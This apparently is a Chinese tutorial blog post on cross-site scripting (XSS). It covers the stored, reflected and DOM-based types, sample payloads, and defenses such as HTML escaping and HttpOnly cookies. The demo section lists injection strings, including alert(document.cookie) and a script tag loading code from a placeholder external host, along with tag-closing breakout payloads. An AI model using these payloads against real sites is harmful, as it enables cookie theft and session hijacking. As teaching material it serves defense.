【XSS学习】XSS相关原理与防范

1. XSS是什么

XSS: Cross Site Scripting 跨站脚本攻击,为了不和css语言CSS缩写混合,换为XSS。

XSS跨站脚本攻击可以以多种方式破坏应用程序的安全性,最常用于窃听cookie,允许攻击者冒充受害者。【最具危险:获取私人信息】

只要前端带有用户输入框,都会有该隐藏风险。

对于用户:

  • XSS能窃取Cookie,劫持会话
  • XSS能网络钓鱼
  • XSS能为广告刷流量

对于web服务端

  • XSS能劫持后台
  • XSS能篡改页面
  • XSS能传播蠕虫
  • XSS能扫描内网资料

1.1 存储型XSS

  • 存储型XSS是最具破坏性,也成为持久性XSS。
  • 攻击者将恶意脚本内容(一般为js代码)注入目标应用程序,如果没有输入检验和过滤,则这段恶意代码将会被服务器执行并导致数据库持久性改变。
  • 之后用户正常访问服务器的时候,服务器响应返回正常页面和被注入的XSS代码到用户浏览器,用户浏览器解析代码过程会执行XSS脚本,把自己的信息同时提交给其他恶意服务器。
  • 因为是注入到服务器,所以当前页面的所有访问者都会收到攻击。举例比如XSS代码通过评论注入,服务器将评论与XSS代码一起存储,那当其他用户看到这个评论的时候,都会被响应该XSS到浏览器执行。
  • 容易造成网络蠕虫,也就是很容易被传播【复制分享链接等】。
  • 特点:不需要受害者与攻击者接触

img

1.2 反射型XSS

  • 最常见的是反射型XSS,有点类似CSRF,诱导用户点击恶意链接触发XSS代码,然后反射型XSS代码会借助用户自身的请求及其cookie伪装成正常用户注入到正常服务器中。【区别是CSRF没有获取cookie,只是借助cookie进行访问】
  • 因此反射型XSS最关键的是窃取和借助用户的cookie反射注入代码到服务器。
  • 大多数都是用来盗取cookie信息的,只需要一次就能获得cookie,而这个cookie可以反复利用,用来冒充合法用户的身份登录并进一步去攻击服务器。
  • 特点:需要借助合法用户的cookie

img

1.3 基于DOM的XSS

  • 高级XSS,不会经过后端,而是直接攻击前端的dom对象。
  • 一般攻击web应用的客户端将用户提供的数据写入到DOM对象的时候。
  • 因为只影响前端,后端难以检测日志或者防火墙,甚至看不到攻击,所以比较麻烦。
比如这些操作:
1.document.referer
2.window.name
3.location
4.innerHTML
5.documen.write

2. XSS攻击演示

2.1 标签使用

<script> 是最直接有效的XSS标签,可以直接作为脚本注入。

<script>alert("hack")</script>   #弹出hack
<script>alert(/hack/)</script>   #弹出hack
<script>alert(1)</script>        #弹出1,对于数字可以不用引号
<script>alert(document.cookie)</script>      #弹出cookie
<script src=http://xxx.com/xss.js></script>  #引用外部的xss

2.2 XSS插入演示

#用户输入作为HTML注释内容,导致攻击者可以进行闭合绕过
原:<!-- 用户输入 -->
XSS: <!-- 用户输入 
【--><script>alert('hack')</script><!--】 
-->

#用户输入作为标签属性名,导致攻击者可以进行闭合绕过
原: <div 用户输入="xx">  </div>
XSS: <div ></div><script>alert('hack')</script><div a】
="xx"> </div>

#用户输入作为标签属性值,导致攻击者可以进行闭合绕过
原:<div id="用户输入"></div>
XSS:<div id=
【""></div><script>alert('hack')</script><div a="x"
></div>

#用户输入作为标签名,导致攻击者可以进行闭合绕过
原:<用户输入  id="xx" />
XSS: <
【><script>alert('hack')</script><b】
id="xx" />

#用户输入作为CSS内容,导致攻击者可以进行闭合绕过
原:<style>用户输入</style>
XSS: <style></style><script>alert('hack')</script><style></style>

2.3 常见XSS注入位置

  • URL参数
  • URL本身
  • 表单
  • 评论区△
  • 留言框
  • 个人信息填写
  • 私信
  • 反馈
  • 检索框

总之就是大多数能用户输入的位置。

3. 如何防范XSS

XSS跨站脚本是比较老的技术了,但是XSS仍然常见。

攻击者的Js水平决定了攻击效果。

  • 1.对用户输入和url的参数进行严格的过滤,对url进行编码,对于输出进行html编码。缓解存储型XSS注入
#比如java的框架工具类org.springframework.web.util.HtmlUtils
public static void main(String[] args) {
    String content = "<script>alert('test');</script>";
    System.out.println("content="+content);
    content = HtmlUtils.htmlEscape(content);
    System.out.println("content="+content);
}

#输出的时候script标签被当成html实体,可以理解为被当成字符串了
<h1> HELLO<script>alert("xss")</script> </h1>
  • 对于java,就是添加一个Filter过滤器,对参数进行正则判断【可以判断处理XSS脚本注入相关和SQL注入相关】,最好设置白名单而不设置黑名单,黑名单太严格了

  • 服务端设置Cookie的HTTP Only属性,这样,客户端的JS脚本就不能获取Cookie信息了。缓解反射型XSS注入。

HTTP Only介绍:

HttpOnly是包含在http返回头Set-Cookie里的一个附加flag,是后端对cookie设置的一个附加属性。在生成cookie的时候使用HttpOnly标志有助于减轻客户端XSS访问cookie的风险。【与CSRF无关,CSRF不需要知道cookie】

如果支持HttpOnly的浏览器检测到包含HttpOnly标志的cookie,并且客户端脚本代码尝试读取该cookie,则浏览器将返回一个空字符串作为结果。这会通过阻止恶意代码(通常是XSS)将数据发送到攻击者的网站来使攻击失败。

关键代码:

Servlet中设置:
Cookie cookie = getMyCookie("myCookieName");
cookie.setHttpOnly(true);

在WEB-INF/web.xml的设置如下:
<session-config>
	<cookie-config>
		<http-only>true</http-only>
	</cookie-config>
</session-config>
  • 使用现代web框架开发前端,缓解DOM型XSS注入
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

玖等了

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值